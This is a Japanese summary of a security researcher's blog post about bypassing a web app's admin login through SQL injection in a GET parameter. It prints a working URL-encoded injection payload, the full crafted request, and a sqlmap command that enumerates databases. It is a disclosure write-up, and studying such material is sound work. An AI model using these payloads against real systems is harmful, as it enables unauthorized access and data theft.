Hello there, ('ω')ノ
SQL インジェクションによる管理パネルのバイパスを。
脆弱性:
SQLインジェクション
認証バイパス
記事:
https://medium.com/@medz20876/blog-post-bypassing-an-admin-panel-with-sql-injection-20b844442711
導入
今回は、Web アプリケーションに管理パネルのバイパスを可能にする脆弱性を
発見したという最近の発見を共有したいと。
SQL インジェクションとして知られるこの脆弱性がどのように機能するのか、
また、それを悪用して不正アクセスを取得した方法について。
SQL インジェクションを理解する
SQL インジェクションは、攻撃者が悪意のある SQL コードをユーザ入力に
挿入することでアプリケーションの SQL クエリを操作できる攻撃の一種で。
アプリケーションがこれらの入力を適切に検証およびサニタイズしないと、
意図しない SQL コマンドが実行され、セキュリティ侵害につながる可能性があり。
ほとんどの場合、攻撃者/研究者が脆弱な URL パラメータに
(GET リクエストと POST リクエストの両方で) インジェクションを
行っているのが見られますが、場合によっては、SQL 構文/インジェクションを
使用してログイン画面をバイパスできる場合もあり。
この攻撃では、ログイン パネルをバイパスする攻撃と、
データベースの内容を返す攻撃の両方を実証することができて。
脆弱性の悪用
脆弱なログインページの特定
https://redacted.com/redacted/redacted_admin.xml にアクセスすると、
ログイン プロンプトが表示され。
資格情報を入力して「ログイン」をクリックすると、アプリケーションは
次の方法で資格情報を含む GET リクエストを送信し。
GET /redacted/redacted_admin.xml?id=admin&pswd=admin&uniqueId=0.5331820440279285 HTTP/1.1 2
基本的な admin:admin を試してもうまくいかず、ページ上の JS を読んだ後、
SQL インジェクションを試してみることに。
さまざまなペイロードをテストした結果、実際に機能するペイロードが見つかり。
ペイロードを使用して id パラメータに注入できて。
-6513%27%20OR%20%28SELECT%20INSTR2%28NULL%2CNULL%29%20FROM%20DUAL%29%20IS%20NULL--%20SpSw
リクエストの全文は次のとおりで。
https://redacted.com/redacted/redacted_admin.xml?id=-6513%27%20OR%20%28SELECT%20INSTR2%28NULL%2CNULL%29%20FROM%20DUAL%29%20IS%20NULL--%20SpSw&pswd=admin&uniqueId =0.5331820440279285
このリンクにアクセスすると、管理パネルにアクセスできて。
sqlmap を使用した追加の悪用
また、ステップ 1 の生のリクエストに対して sqlmap を実行し。
これにより、すべてのデータベースを取得することができ。
この強力なツールは、データベースの構造とその内容についての
貴重な洞察を提供し。
使用したコマンド:
sqlmap -r request.txt --random-agent --dbs --proxy=http://127.0.0.1:8080 --force-ssl --batch --risk 3 --level 3
予想どおり、データベースが返されて。
影響と結論
SQL インジェクションとして知られるこの脆弱性は、
大きな損害を与える可能性があり。
これにより、攻撃者がセキュリティ対策を回避し、機密情報に
アクセスできるようになり。
このような問題を防ぐために、開発者はユーザ入力を検証し、
サニタイズすることが不可欠で。
この脆弱性を発見した後、Web サイトの管理者に報告し。
管理者が修正に必要な措置を講じてくれることを願って。
SQL インジェクションは Web 上でよく見られる脆弱性であり、
その仕組みを理解することは、セキュリティ専門家と Web サイト開発者の
両方が実践方法を改善するのに役立って。
Best regards, (^^ゞ